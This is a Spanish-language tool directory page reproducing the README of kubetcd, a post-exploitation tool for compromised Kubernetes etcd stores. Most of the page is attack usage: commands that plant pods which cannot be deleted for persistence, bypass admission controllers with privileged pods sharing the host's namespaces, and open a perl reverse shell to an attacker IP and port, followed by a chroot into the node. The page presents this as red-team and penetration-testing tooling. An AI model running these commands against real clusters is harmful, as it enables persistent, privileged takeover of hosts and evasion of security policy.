Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
kubetcd — Post-explotación de un etcd comprometido, obtener persistencia y shell remoto en los nodos. | Kitploit
Herramientas/GitHubGitHub/nccgroup/kubetcd
Escalada de PrivilegiosSeguridad de ContenedoresMecanismos de PersistenciaMovimiento LateralPost-ExplotaciónPruebas de PenetraciónComando y ControlRed Teaming
GitHubnccgroup/kubetcd

kubetcd

Post-explotación de un etcd comprometido, obtener persistencia y shell remoto en los nodos.

Ver Repositorio
947hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Kubetcd

Wrapper de https://github.com/jpbetz/auger.

Automatiza el despliegue de pods escribiendo directamente en etcd. Incluye múltiples funciones para la post-explotación de etcds comprometidos.

Descargo de responsabilidad

[!WARNING]
Esto es una PoC, no lo uses en un entorno de producción. Escribir directamente en etcd puede provocar inconsistencias o datos corruptos, lo que puede hacer que la lógica de kube-apiserver no pueda recuperar o manipular datos de etcd. Los entornos de prueba con múltiples nodos se pueden desplegar con KIND

¿Por qué?

El repositorio principal, auger, proporciona las principales funciones para serializar y deserializar entradas protobuf en etcd. Kubetcd es una PoC que envuelve estas funciones para aproximar etcdctl al cliente habitual kubectl. En un escenario con un etcd comprometido, kubetcd intentaría usar pods manipulados y privilegiados para obtener persistencia y acceso privilegiado a cualquier/todos los host(s) del clúster. Ten en cuenta que kubetcd actualmente solo admite operaciones con pods.

Requisitos

Kubetcd toma los certificados y claves para autenticarse contra el servicio etcd de las siguientes rutas predeterminadas:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (esto solo es legible por root)

Además, el endpoint predeterminado está configurado como 127.0.0.1:2379

Todos los valores predeterminados anteriores se pueden cambiar mediante parámetros.

Además, etcdctl, el cliente para etcd, debe estar instalado.

root@kitploit:~
sudo apt install etcd-client

Instalación

Clona y compila:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Problemas conocidos

Puede que experimentes el siguiente error:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

Si es así, compila kubetcd con Golang 1.19.

Consulta https://github.com/jpbetz/auger para las funciones principales de auger, que siguen disponibles. Este README solo detallará las nuevas funciones añadidas del wrapper:


Ejecutar kubetcd

root@kitploit:~
./kubetcd -h

Obtener objetos

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Crear un nuevo pod

templateName debe ser un pod en ejecución en el namespace predeterminado:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

Puedes sobrescribir un pod en ejecución simplemente estableciendo los mismos valores de name y templateName.

Cambiar la imagen

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

Manipular la hora de inicio

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistencia mediante datos inconsistentes

ETCD guarda los nuevos pods en /registry/pods/<namespace>/<name>, pero los campos namespace y name podrían ser manipulados. Debido a esto, estos pods se pueden listar con kubectl, pero no se pueden eliminar.

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Desplegar en un nodo concreto

Despliega la carga de trabajo en cualquier nodo a voluntad:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Evadir AdmissionControllers

Despliega pods privilegiados en namespaces restringidos. Esto evadiría los AdmissionControllers integrados como PSPs, PSAs o cualquier otra política basada en políticas personalizadas como OPA Gatekeer o Kyverno:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

El flag -P establecerá cualquier pod como privileged y compartirá los namespaces de network, PID e IPC con el nodo subyacente.

Shell inversa

Despliega pods privilegiados en namespaces restringidos y obtén una shell remota:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

Esto iniciará una shell inversa de perl, que está presente en varias imágenes por defecto. Una vez que tengas la shell inversa, cambia el sistema de archivos raíz con chroot /host para obtener acceso completo al nodo.

Pendientes

  • Añadir soporte para otros binarios -no solo perl- para obtener shell remota
  • Añadir soporte para usar plantillas de otros namespaces además del predeterminado
  • Añadir soporte para crear/obtener/eliminar elementos fuera de la rama corev1
Descargar herramienta